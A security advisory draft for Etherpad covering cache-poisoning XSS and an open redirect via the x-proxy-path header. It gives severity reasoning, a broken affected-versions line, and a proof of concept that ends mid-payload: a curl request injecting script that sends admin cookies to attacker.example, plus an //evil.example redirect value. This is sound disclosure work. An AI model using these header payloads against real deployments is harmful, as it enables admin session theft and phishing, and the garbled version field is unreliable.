ep_etherpad-lite: Cache-poisoning Cross-site Scripting and Open Redirect via x-proxy-path Header
GHSA-03 — x-proxy-path header reflected into admin HTML/JS/CSS (cache-poisoning XSS) and concatenated into redirect (open-redirect)
Severity: Medium
CVSS v3.1 vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
CVSS suggested base score: ~6.1 — Medium
(Re-validate in the first.gov calculator before filing. Score depends heavily on whether you assume a cooperative cache exists in front of the deployment — single-origin admin-only ops with no shared cache push toward 4.x; cache-poisoning against a CDN pushes toward 7.x.)
CWE: CWE-79 Improper Neutralization of Input During Web Page Generation, CWE-601 URL Redirection to Untrusted Site, CWE-444 Inconsistent Interpretation of HTTP Requests
Title
x-proxy-path request header is interpolated into admin HTML/JS/CSS without sanitisation (cache-poisoning XSS) and into a /p/:pad/timeslider redirect target (open-redirect via protocol-relative URL)
Description
Etherpad lets operators run behind a reverse proxy that prefixes every route with a subpath (e.g. /pad/etherpad/...). The proxy is expected to set x-proxy-path: /pad/etherpad on every request so that server-rendered links, asset URLs, and redirects know to include the prefix. Two server-side call sites historically processed this header:
Issue 3a — src/node/hooks/express/admin.ts (XSS, cache-poisoning)
The admin static-serving handler read req.header('x-proxy-path') and substituted it into the response body of every .html/.js/.css asset under /admin/* using String.prototype.replaceAll. The value was used raw, with no character filter and no Vary / Cache-Control headers on the response. Consequently:
- An attacker who can issue a request with a chosen
x-proxy-pathvalue gets that value reflected into HTML/JS/CSS sent back to them. Reflected XSS on the admin origin (requires victim to be tricked into issuing the request from a context that interprets HTML). - More seriously, any reverse proxy or CDN in front of Etherpad that caches
/admin/index.htmlkeyed on URL alone (the common case — noVarywas set) will cache the poisoned response and serve it to subsequent admins. Cache-poisoning XSS against every admin that loads the same bundle from the same cache.
Issue 3b — src/node/hooks/express/specialpages.ts (open-redirect via protocol-relative URL)
The legacy /p/:pad/timeslider handler (direct visits without ?embed=1) built a redirect target as:
res.redirect(302, `${proxyPath}/p/${encodeURIComponent(req.params.pad)}`);
A local sanitizeProxyPath helper filtered the character class but did NOT prevent values beginning with //. A request carrying x-proxy-path: //evil.example therefore produced a Location: //evil.example/p/ header, which browsers interpret as a protocol-relative URL — equivalent to https://evil.example/p/. Open redirect, exploitable for phishing.
Both issues require the x-proxy-path header to actually reach Etherpad. In a hardened reverse-proxy deployment the proxy strips/overrides client headers, but Etherpad does not enforce this and self-hosted users with misconfigured proxies (or no proxy at all, where any client sets arbitrary headers) are exposed.
Severity rationale
- AV:N / AC:L / PR:N — the admin path requires no authentication of the attacker. The victim of the XSS must be an authenticated admin who loads a poisoned cached response.
- UI:R — victim must visit/interact with the admin UI.
- S:C — scope changes (attacker context to admin origin).
- C:L / I:L — XSS in the admin context can read/write admin-scoped data; full admin-account takeover requires additional CSRF-style chaining.
CVSS lands at 6.1 (Medium). Operators behind a well-configured proxy that strips client x-proxy-path are not exposed.
Affected versions
- Admin XSS (Issue 3a):
ep_etherpad-lite >= 2.1.0, = 2.1.0, = 3.1.0— the fix is ondevelopHEAD as commit8c6104c. Update this field with the actual tagged release version when it ships.
Proof of concept
XSS / cache poisoning
curl -s 'https://pad.example/admin/index.html' \
-H 'x-proxy-path: ">fetch("https://attacker.example/?c="+document.cookie)